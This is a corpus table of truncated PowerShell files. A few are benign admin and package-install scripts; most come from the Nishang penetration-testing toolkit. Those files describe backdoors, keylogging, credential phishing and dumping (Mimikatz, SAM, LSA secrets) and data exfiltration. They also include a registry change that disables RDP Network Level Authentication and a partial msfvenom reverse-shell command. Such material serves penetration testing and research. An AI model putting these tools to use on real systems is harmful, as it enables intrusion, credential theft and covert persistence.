full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/abix-_powershell-practical/dell/Connect-DRAC.ps1
Connect-DRAC.ps1
[cmdletbinding()] Param ( $hostname, $password ) $prefix1 = ("devqc","jaxf","jax","ord") $prefix2 = ("copq","fakw","frow","ftfq","jxfc","jxfq-devqc","jxfq","nbiq","sfcq","sufw") if ($hostname.indexof("rac-") -eq -1) { $hostname = "rac-" + $hostname } $sitecode = ($hostname | Select-String "-(.*)-").ma...
PowerShellCorpus/Github/abix-_powershell-practical/dell/Test-CompellentAgent.ps1
Test-CompellentAgent.ps1
[cmdletbinding()] Param ( $servers, $port = 27355, $agentpath = "c$\Program Files (x86)\Compellent Technologies\Enterprise Services Agent", $agentexe = "EMServerAgent.exe" ) function TestPort { Param( [parameter(ParameterSetName='ComputerName', Position=0)][string]$ComputerName, ...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/EntityFramework.6.1.3/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/EntityFramework.6.1.3/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/EntityFramework.6.1.1/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/EntityFramework.6.1.1/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/ErickWendel_AcessoCard.Test/AcessoCard/AcessoCard.Project/packages/Newtonsoft.Json.6.0.4/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json" $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindow.Caption -eq "Package Manager Con...
PowerShellCorpus/Github/rafaelgodinho_ARMSamples/VirtualNetworkNewOrExisting/test.ps1
test.ps1
Clear-Host Select-AzureRmSubscription -SubscriptionId "f1766062-4c0b-4112-b926-2508fecc5bdf" $resourceGroupName = "rgarmsamples" $storageAccountName = $resourceGroupName $storageContainer = "uideploy" $storageAccountKey = (Get-AzureRmStorageAccountKey -Name $storageAccountName -ResourceGroupName $resourceGroup...
PowerShellCorpus/Github/rafaelgodinho_ARMSamples/VirtualNetworkNewOrExistingStaticIPs/test.ps1
test.ps1
Clear-Host Select-AzureRmSubscription -SubscriptionId "f1766062-4c0b-4112-b926-2508fecc5bdf" $resourceGroupName = "rgarmsamples" $storageAccountName = $resourceGroupName $storageContainer = "uideploy" $storageAccountKey = (Get-AzureRmStorageAccountKey -Name $storageAccountName -ResourceGroupName $resourceGroup...
PowerShellCorpus/Github/CailleauThierry_Sandbox/Set-Clipboard_fc.ps1
Set-Clipboard_fc.ps1
#beginning of################################################################# ## ## Set-Clipboard ## ## From Windows PowerShell Cookbook (O'Reilly) ## by Lee Holmes (http://www.leeholmes.com/guide) ## ############################################################################## Function Set-Clipboard { <# ...
PowerShellCorpus/Github/CailleauThierry_Sandbox/Test1.ps1
Test1.ps1
<# .NOTES =========================================================================== Created with: SAPIEN Technologies, Inc., PowerShell Studio 2016 v5.2.122 Created on: 5/24/2016 7:06 AM Created by: CailleauThierry Organization: Private Filename: Test1.ps1 ============================...
PowerShellCorpus/Github/CailleauThierry_Sandbox/Get-EVVersion.ps1
Get-EVVersion.ps1
<# .SYNOPSIS Get-EVVersion10_11.ps1 stable on 03/21/2017 Detect if either Agent or Vault log format and extract essential information for ticket documenting Bug in other language Agent log backup_fr.xlog.log .DESCRIPTION Look at the date format to establish if the log is an Agent or a Vautl log (does no...
PowerShellCorpus/Github/alanrenouf_Windows-Workstation-and-Server-Audit/Audit.ps1
Audit.ps1
##################################################### # # # Audit script V3 by Alan Renouf - Virtu-Al # # Blog: http://virtu-al.net/ # # # # Usage: Audit.ps1 'pathtolistofservers' # # ...
PowerShellCorpus/Github/anggaaja_chocolatey/lamexp/4.13/tools/chocolateyuninstall.ps1
chocolateyuninstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = 'lamexp' $softwareName = 'LameXP v4.13' $installerType = 'EXE' $silentArgs = '/S' $validExitCodes = @(0) $uninstalled = $false $processor = Get-WmiObject Win32_Processor $is64bit = $processor.AddressWidth -eq 64 $entry64 = 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\W...
PowerShellCorpus/Github/anggaaja_chocolatey/lamexp/4.13/tools/regAdd.ps1
regAdd.ps1
# This adds a registry key which LameXP 4.13 needed for automated unattended silent uninstall. Untested on 32bit Machine. # Dirty workaround since passing the /S parameter still producing the "Could not Detect" notification if user doesn't pass the -y parameter while uninstalling. $processor = Get-WmiObject Win32_Pro...
PowerShellCorpus/Github/anggaaja_chocolatey/lamexp/4.13/tools/chocolateyinstall.ps1
chocolateyinstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = 'lamexp' $version = '4.13' $url = 'https://github.com/lordmulder/LameXP/releases/download/Release_413/LameXP.2015-12-12.Release-Static.Build-1852.exe' $packageArgs = @{ packageName = $packageName fileType = 'exe' url = $url silentArgs ...
PowerShellCorpus/Github/anggaaja_chocolatey/musicbee/3.0.5995/tools/chocolateyuninstall.ps1
chocolateyuninstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = 'musicbee' $softwareName = 'MusicBee 3.0' $installerType = 'EXE' $silentArgs = '/S' $validExitCodes = @(0) $uninstalled = $false $is64bit = Get-ProcessorBits 64 if ($is64bit) { $setupExePath = (Get-ItemProperty HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows...
PowerShellCorpus/Github/anggaaja_chocolatey/musicbee/3.0.5995/tools/chocolateyInstall.ps1
chocolateyInstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = "musicbee" $version = '3.0.5995' $zipFile = "MusicBeeSetup_3_0_Update1.zip" $exeFile = "MusicBeeSetup_3_0_Update1.exe" $url = "http://musicbee.niblseed.com/$zipFile" $checksum = 'EECD7BB9E6C09AFFEC31B8150B21FD98' $checksumType = 'md5' $silentArgs = "/S" $validEx...
PowerShellCorpus/Github/anggaaja_chocolatey/xmedia-recode/3.3.2.8/tools/chocolateyuninstall.ps1
chocolateyuninstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = 'xmedia-recode' $softwareName = 'XMedia Recode*' $installerType = 'exe' $silentArgs = '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' $validExitCodes = @(0) $uninstalled = $false $local_key = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' $mach...
PowerShellCorpus/Github/anggaaja_chocolatey/xmedia-recode/3.3.2.8/tools/chocolateyinstall.ps1
chocolateyinstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = 'xmedia-recode' $version = '3.3.2.8' $url = 'http://www.xmedia-recode.de/download/XMediaRecode3328_setup.exe' $packageArgs = @{ packageName = $packageName fileType = 'exe' url = $url silentArgs = '/VERYSILENT /SUPPRESSMSGBOXES /...
PowerShellCorpus/Github/anggaaja_chocolatey/xmedia-recode/3.3.2.5/tools/chocolateyuninstall.ps1
chocolateyuninstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = 'xmedia-recode' $softwareName = 'XMedia Recode*' $installerType = 'exe' $silentArgs = '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' $validExitCodes = @(0) $uninstalled = $false $local_key = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' $mach...
PowerShellCorpus/Github/anggaaja_chocolatey/xmedia-recode/3.3.2.5/tools/chocolateyinstall.ps1
chocolateyinstall.ps1
$ErrorActionPreference = 'Stop'; $packageName = 'xmedia-recode' $version = '3.3.2.5' $url = 'http://www.xmedia-recode.de/download/XMediaRecode3325_setup.exe' $packageArgs = @{ packageName = $packageName fileType = 'exe' url = $url silentArgs = '/VERYSILENT /SUPPRESSMSGBOXES...
PowerShellCorpus/Github/Exploit-install_nishang/Scan/Invoke-BruteForce.ps1
Invoke-BruteForce.ps1
function Invoke-BruteForce { <# .SYNOPSIS Nishang payload which performs a Brute-Force Attack against SQL Server, Active Directory, Web and FTP. .DESCRIPTION This payload can brute force credentials for SQL Server, ActiveDirectory, Web or FTP. .PARAMETER Computername Specifies a SQL Server, Domain, FTP ...
PowerShellCorpus/Github/Exploit-install_nishang/Scan/Invoke-PortScan.ps1
Invoke-PortScan.ps1
function Invoke-PortScan { <# .SYNOPSIS Nihsang payload which Scan IP-Addresses, Ports and HostNames .DESCRIPTION Scan for IP-Addresses, HostNames and open Ports in your Network. .PARAMETER StartAddress StartAddress Range .PARAMETER EndAddress EndAddress Range .PARAMETER ResolveHost Resolve Hos...
PowerShellCorpus/Github/Exploit-install_nishang/Prasadhak/Invoke-Prasadhak.ps1
Invoke-Prasadhak.ps1
#Requires -Version 3 function Invoke-Prasadhak { <# .SYNOPSIS Nishang script which checks running processes for malwares. .DESCRIPTION This script uses takes md5 hashes of running processes (the correspondibg executable) on the target system and search the hashes in the Virustotal database using the Publ...
PowerShellCorpus/Github/Exploit-install_nishang/Pivot/Create-MultipleSessions.ps1
Create-MultipleSessions.ps1
function Create-MultipleSessions { <# .SYNOPSIS Nishang script which can check for credentials on remote computers and can open PSSessions if the credentials work. .DESCRIPTION The payload uses WMI to check a credential against given list of computers. Use the -Creds parameter to specify username and password...
PowerShellCorpus/Github/Exploit-install_nishang/Pivot/Run-EXEonRemote.ps1
Run-EXEonRemote.ps1
function Run-EXEonRemote { <# .SYNOPSIS Nishang script which can drop and execute executables on multiple computers. .DESCRIPTION The script should be used with -FilePath parameter of Invoke-Command to drop and execute executables on multiple computers. The executables need to be supplied in text format. ...
PowerShellCorpus/Github/Exploit-install_nishang/Pivot/Invoke-NetworkRelay.ps1
Invoke-NetworkRelay.ps1
function Invoke-NetworkRelay { <# .SYNOPSIS Nishang script which can be used to run netsh port forwarding/relaying commands on remote computers. .DESCRIPTION This script is a wrapper around the netsh Windows command's portproxy functionality. It could be used to create and remove network relays between c...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Base64ToString.ps1
Base64ToString.ps1
function Base64ToString { <# .SYNOPSIS Nishang script which decodes a base64 string to readable. .DESCRIPTION This payload decodes a base64 string to readable. .PARAMETER Base64Strfile The filename which contains base64 string to be decoded. Default is "decoded.txt" in the current working directory. Us...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Add-Exfiltration.ps1
Add-Exfiltration.ps1
function Add-Exfiltration { <# .SYNOPSIS Use this script to exfiltrate data from a target. .DESCRIPTION This script can be used to exfiltrate data from a target to Gmail, Pastebin, a web server which can log POST requests, or a DNS server which can log TXT queries. To decode the data exfiltrated by the web...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/ConvertTo-ROT13.ps1
ConvertTo-ROT13.ps1
function ConvertTo-ROT13 { <# .SYNOPSIS Nishang script which can encode a string to ROT13 or decode a ROT13 string. .DESCRIPTION Nishang script which can encode a string to ROT13 or decode a ROT13 string. .PARAMETER rot13string The string which needs to be encoded or decode. .EXAMPLE PS > ConvertTo-ROT1...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Out-DnsTxt.ps1
Out-DnsTxt.ps1
function Out-DnsTxt { <# .SYNOPSIS Script for Nishang to generate DNS TXT records which could be used with other scripts. .DESCRIPTION Use this script to generate DNS TXT records to be used with DNS_TXT_Pwnage and Execute-DNSTXT-Code. The script asks for a path to a plain file or string, compresses and encode...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Download.ps1
Download.ps1
function Download { <# .SYNOPSIS Nishang Payload to download a file in current users temp directory. .DESCRIPTION This payload downloads a file to the given location. .PARAMETER URL The URL from where the file would be downloaded. .PARAMETER FileName Name of the file where download would be saved. .E...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/StringToBase64.ps1
StringToBase64.ps1
function StringtoBase64 { <# .SYNOPSIS Nishang script which encodes a string to base64 string. .DESCRIPTION This payload encodes the given string to base64 string and writes it to base64encoded.txt in current directory. .PARAMETER Str The string to be encoded .PARAMETER OutputFile The path of the outp...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Invoke-Encode.ps1
Invoke-Encode.ps1
function Invoke-Encode { <# .SYNOPSIS Script for Nishang to encode and compress plain data. .DESCRIPTION The script asks for a path to a plain file or string, encodes it and writes to a file "encoded.txt" in the current working directory. If the switch -OutCommand is used. An encoded command which could be e...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/ExetoText.ps1
ExetoText.ps1
function ExetoText { <# .SYNOPSIS Nishang script to convert an executable to text file. .DESCRIPTION This script converts and an executable to a text file. .PARAMETER EXE The path of the executable to be converted. .PARAMETER FileName Path of the text file to which executable will be converted. .EXAM...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Invoke-Decode.ps1
Invoke-Decode.ps1
function Invoke-Decode { <# .SYNOPSIS Script for Nishang to decode the data encoded by Invoke-Encode, DNS TXT and POST exfiltration methods. .DESCRIPTION The script asks for an encoded string as an option, decodes it and writes to a file "decoded.txt" in the current working directory. Both the encoding and d...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Start-CaptureServer.ps1
Start-CaptureServer.ps1
function Start-CaptureServer { <# .SYNOPSIS Nishang script which could be used to capture user crednetials in plain or SMB hashes. .DESCRIPTION The script starts a listener on specified IP and port. When using Basic Authtype, any user connecting to the server will be presented with a credentials prompt, if a u...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Remove-Persistence.ps1
Remove-Persistence.ps1
function Remove-Persistence { <# .SYNOPSIS Nishang script which could be used to clear the persistence added by Nishang payloads and scripts. .DESCRIPTION This script cleans WMI events and Registry keys added by various payloads and Add-persistence script. Run the script as an Administrator to remove the WMI e...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/TexttoExe.ps1
TexttoExe.ps1
function TexttoEXE { <# .SYNOPSIS Nishang script to convert a PE file in hex format to executable .DESCRIPTION This script converts a PE file in hex to executable and writes it to user temp. .PARAMETER Filename Path of the hex text file from which executable will be created. .PARAMETER EXE Path where t...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Parse_Keys.ps1
Parse_Keys.ps1
function Parse_Keys { <# .SYNOPSIS A script which could be used to parse keys logged by Kelogger payload of Nishang. .DESCRIPTION This script parses keys logged by Keylogger payload of Nishang. .PARAMETER RawKeys Name of the text file which contains logged keys. .PARAMETER LoggedKeys Name of the text...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Do-Exfiltration.ps1
Do-Exfiltration.ps1
function Do-Exfiltration { <# .SYNOPSIS Use this script to exfiltrate data from a target. .DESCRIPTION This script could be used to exfiltrate data from a target to gmail, pastebin, a webserver which could log POST requests and a DNS Server which could log TXT queries. To decode the data exfiltrated by webse...
PowerShellCorpus/Github/Exploit-install_nishang/Utility/Add-Persistence.ps1
Add-Persistence.ps1
function Add-Persistence { <# .SYNOPSIS Nishang script which could be used to add reboot persistence to a powershell script. .DESCRIPTION This script accepts path of a script to which reboot persistence is to be added. The target sript is dropped into the user's temp directory and either WMI permanent event ...
PowerShellCorpus/Github/Exploit-install_nishang/Misc/Speak.ps1
Speak.ps1
function Speak { <# .SYNOPSIS Nishang Payload to which "speaks" the given sentence .DESCRIPTION This payload uses the Speech API and the given senetence is spoken in the MS Narrator's voice. .PARAMETER Sentence The sentence to be spoken .EXAMPLE PS > Speak <senetence> .LINK http://labofapenetratio...
PowerShellCorpus/Github/Exploit-install_nishang/ActiveDirectory/Get-Unconstrained.ps1
Get-Unconstrained.ps1
function Get-Unconstrained { <# .SYNOPSIS Nishang script which searches computers in current domain which have Unconstrained Delegation Enabled. .DESCRIPTION The script searches in the current domain for computers which have Unconstrained Delegation enabled. The script needs to be run from an elevated she...
PowerShellCorpus/Github/Exploit-install_nishang/Execution/Execute-Command-MSSQL.ps1
Execute-Command-MSSQL.ps1
function Execute-Command-MSSQL { <# .SYNOPSIS Nishang payload which could be used to execute commands remotely on a MS SQL server. .DESCRIPTION This payload needs a valid administrator username and password on remote SQL server. It uses the credentials to enable xp_cmdshell and provides a powershell shell, a ...
PowerShellCorpus/Github/Exploit-install_nishang/Execution/Out-RundllCommand.ps1
Out-RundllCommand.ps1
function Out-RundllCommand { <# .SYNOPSIS Nishang script that can be used for generating rundll32.exe one line commands to run PowerShell commands and scripts or a reverse PowerShell session. Also useful for bypassing AppLocker. .DESCRIPTION This script generates rundll32 commands which can be used to to run ...
PowerShellCorpus/Github/Exploit-install_nishang/Execution/Download_Execute.ps1
Download_Execute.ps1
function Download_Execute { <# .SYNOPSIS Nishang Payload to download an executable in text format, convert it to executable and execute. .DESCRIPTION This payload downloads an executable in text format, converts it to executable and execute. Use exetotext.ps1 script to change an executable to text .PARAME...
PowerShellCorpus/Github/Exploit-install_nishang/Execution/Execute-DNSTXT-Code.ps1
Execute-DNSTXT-Code.ps1
function Execute-DNSTXT-Code { <# .SYNOPSIS Payload which could execute shellcode from DNS TXT queries. .DESCRIPTION This payload is able to pull shellcode from txt record of a domain. Below commands could be used to generate shellcode to be usable with this script ./msfvenom -p windows/meterpreter/reverse_h...
PowerShellCorpus/Github/Exploit-install_nishang/Execution/Download-Execute-PS.ps1
Download-Execute-PS.ps1
function Download-Execute-PS { <# .SYNOPSIS Nishang Payload which downloads and executes a powershell script. .DESCRIPTION This payload downloads a powershell script from specified URL and then executes it on the target. Use the -nowdownload option to avoid saving the script on the target. Otherwise, the scr...
PowerShellCorpus/Github/Exploit-install_nishang/MITM/Invoke-Interceptor.ps1
Invoke-Interceptor.ps1
function Invoke-Interceptor { <# .SYNOPSIS Nishang script which is capable of intercepting HTTPS requests by setting up a proxy server and log them to a file. .DESCRIPTION This experimental script, written by Casey Smith (@subTee), demonstrates the ability to capture and tamper with Web sessions. For secur...
PowerShellCorpus/Github/Exploit-install_nishang/Backdoors/Execute-OnTime.ps1
Execute-OnTime.ps1
function Execute-OnTime { <# .SYNOPSIS Nishang Payload which waits till given time to execute a script. .DESCRIPTION This payload waits till the given time (on the victim) and then downloads a PowerShell script and executes it. If using DNS or Webserver ExfilOption, use Invoke-Decode.ps1 in the Utility folde...
PowerShellCorpus/Github/Exploit-install_nishang/Backdoors/Gupt-Backdoor.ps1
Gupt-Backdoor.ps1
function Gupt-Backdoor { <# .SYNOPSIS Gupt is a backdoor in Nishang which could execute commands and scripts from specially crafted Wireless Network Names. .DESCRIPTION Gupt looks for a specially crafted Wireless Network Name/SSID from list of all avaliable networks. It matches first four characters of eac...
PowerShellCorpus/Github/Exploit-install_nishang/Backdoors/Add-RegBackdoor.ps1
Add-RegBackdoor.ps1
function Add-RegBackdoor { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $False)] [String] $Payload = "cmd.exe" ) #Disable Network Level Authentication Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" -...
PowerShellCorpus/Github/Exploit-install_nishang/Backdoors/HTTP-Backdoor.ps1
HTTP-Backdoor.ps1
function HTTP-Backdoor { <# .SYNOPSIS Nishang Payload which queries a URL for instructions and then downloads and executes a powershell script. .DESCRIPTION This payload queries the given URL and after a suitable command (given by MagicString variable) is found, it downloads and executes a powershell script...
PowerShellCorpus/Github/Exploit-install_nishang/Backdoors/Invoke-ADSBackdoor.ps1
Invoke-ADSBackdoor.ps1
function Invoke-ADSBackdoor{ <# .SYNOPSIS Nishang Script that will use Alternate Data Streams and Windows Registry to achieve persistence. Author: Matt Nelson (@enigma0x3) .DESCRIPTION This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by using two Alte...
PowerShellCorpus/Github/Exploit-install_nishang/Backdoors/Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor.ps1
function Add-ScrnSaveBackdoor { <# .SYNOPSIS Nishang Script which could set Debugger registry keys for a screensaver to remotely execute commands and scripts. .DESCRIPTION The script reads the value of Windows registry key HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE to check for the existing Screens...
PowerShellCorpus/Github/Exploit-install_nishang/Backdoors/DNS_TXT_Pwnage.ps1
DNS_TXT_Pwnage.ps1
function DNS_TXT_Pwnage { <# .SYNOPSIS A backdoor capable of recieving commands and PowerShell scripts from DNS TXT queries. .DESCRIPTION This script continuously queries a domain's TXT records. It could be sent commands and powershell scripts using the TXT records which are executed on the target machine. ...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Check-VM.ps1
Check-VM.ps1
function Check-VM { <# .SYNOPSIS Nishang script which detects whether it is in a known virtual machine. .DESCRIPTION This script uses known parameters or 'fingerprints' of Hyper-V, VMWare, Virtual PC, Virtual Box, Xen and QEMU for detecting the environment. .EXAMPLE PS > Check-VM .LINK htt...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Get-PassHints.ps1
Get-PassHints.ps1
function Get-PassHints { <# .SYNOPSIS Nishang script which extracts password hint for users in clear text. .DESCRIPTION The script extracts password hints from SAM registry hive. The script needs Administrator privs to read SAM hive. .EXAMPLE PS > Get-PassHints .LINK http://www.labofapenetrationte...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Get-WebCredentials.ps1
Get-WebCredentials.ps1
#Requires -Version 3 function Get-WebCredentials { <# .SYNOPSIS Nishang script to retrieve web credentials from Windows vault (requires PowerShell v3 and above) .DESCRIPTION This script can be used to retreive web credentiaks stored in Windows Valut from Windows 8 onwards. The script also needs PowerShell ...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Invoke-MimikatzWDigestDowngrade.ps1
Invoke-MimikatzWDigestDowngrade.ps1
function Invoke-MimikatzWDigestDowngrade { <# .SYNOPSIS Nishang script which can dump passwords in plain text from Windows 8.1 and Server 2012 onwards. .DESCRIPTION The script forces use of Logon Credentials for Wdigest by adding a registry property. If the RDP switch is used, the script targets the logg...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Invoke-SSIDExfil.ps1
Invoke-SSIDExfil.ps1
function Invoke-SSIDExfil { <# .SYNOPSIS Nishang script which can exfiltrate information like user credentials, using WLAN SSID. .DESCRIPTION In the default operation (without any option), the script opens a prompt which asks for user credentials and does not go away till valid local or domain credentials are...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Copy-VSS.ps1
Copy-VSS.ps1
function Copy-VSS { <# .SYNOPSIS Nishang Payload which copies the SAM file (and ntds.dit and SYSTEM hive if run on a Domain Controller). .DESCRIPTION This payload uses the VSS service (starts it if not running), creates a shadow of C: and copies the SAM file which could be used to dump password hashes from it...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Keylogger.ps1
Keylogger.ps1
<# .SYNOPSIS Nishang Payload which logs keys. .DESCRIPTION This payload logs a user's keys and writes them to file key.log (I know its bad :|) in user's temp directory. The keys are than pasted to pastebin|tinypaste|gmail|all as per selection. Saved keys could then be decoded using the Parse_Key script in nisha...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish.ps1
function Invoke-CredentialsPhish { <# .SYNOPSIS Nishang script which opens a user credential prompt. .DESCRIPTION This payload opens a prompt which asks for user credentials and does not go away till valid local or domain credentials are entered in the prompt. .EXAMPLE PS > Invoke-CredentialsPhish .LIN...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Get-LSASecret.ps1
Get-LSASecret.ps1
function Get-LsaSecret { <# .SYNOPSIS Nishang script which extracts LSA Secrets from local computer. .DESCRIPTION Extracts LSA secrets from HKLM:\\SECURITY\Policy\Secrets\ on a local computer. The payload must be run with elevated permissions, in 32-bit mode and requires permissions to the security key in...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Invoke-Mimikittenz.ps1
Invoke-Mimikittenz.ps1
function Invoke-Mimikittenz { <# .SYNOPSIS Extracts juicy info from memory. .DESCRIPTION Utilizes Windows function ReadProcessMemory() to extract juicy information from target process memory using regex. Author: Jamieson O'Reilly (https://au.linkedin.com/in/jamieson-o-reilly-13ab6470) License: https://crea...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Get-Information.ps1
Get-Information.ps1
function Get-Information { <# .SYNOPSIS Nishang Payload which gathers juicy information from the target. .DESCRIPTION This payload extracts information form registry and some commands. The information available would be dependent on the privilege with which the script would be executed. .EXAMPLE PS > G...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Get-PassHashes.ps1
Get-PassHashes.ps1
function Get-PassHashes { <# .SYNOPSIS Nishang payload which dumps password hashes. .DESCRIPTION The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script (but not SYSTEM privs as for the original powerdump written by David Kenned...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Invoke-Mimikatz.ps1
Invoke-Mimikatz.ps1
function Invoke-Mimikatz { <# .SYNOPSIS This script loads Mimikatz completely in memory. .DESCRIPTION This script leverages Mimikatz 2.1 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Get-WLAN-Keys.ps1
Get-WLAN-Keys.ps1
function Get-Wlan-Keys { <# .SYNOPSIS Nishang Payload which dumps keys for WLAN profiles. .DESCRIPTION This payload dumps keys in clear text for saved WLAN profiles. The payload must be run from as administrator to get the keys. .EXAMPLE PS > Get-WLAN-Keys .LINK http://poshcode.org/1700 https://githu...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/FireBuster.ps1
FireBuster.ps1
function FireBuster{ <# .SYNOPSIS This script is part of Nishang. FireBuster is a PowerShell script that does egress testing. It is to be run on the target machine. .DESCRIPTION FireBuster sends packets to FireListener, which hosts a listening server. By default, FireBuster sends packets to all ports (which coul...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/Show-TargetScreen.ps1
Show-TargetScreen.ps1
function Show-TargetScreen { <# .SYNOPSIS Nishang script which can be used for streaming a target's desktop using MJPEG. .DESCRIPTION This script uses MJPEG to stream a target's desktop in real time. It is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standa...
PowerShellCorpus/Github/Exploit-install_nishang/Gather/FireListener.ps1
FireListener.ps1
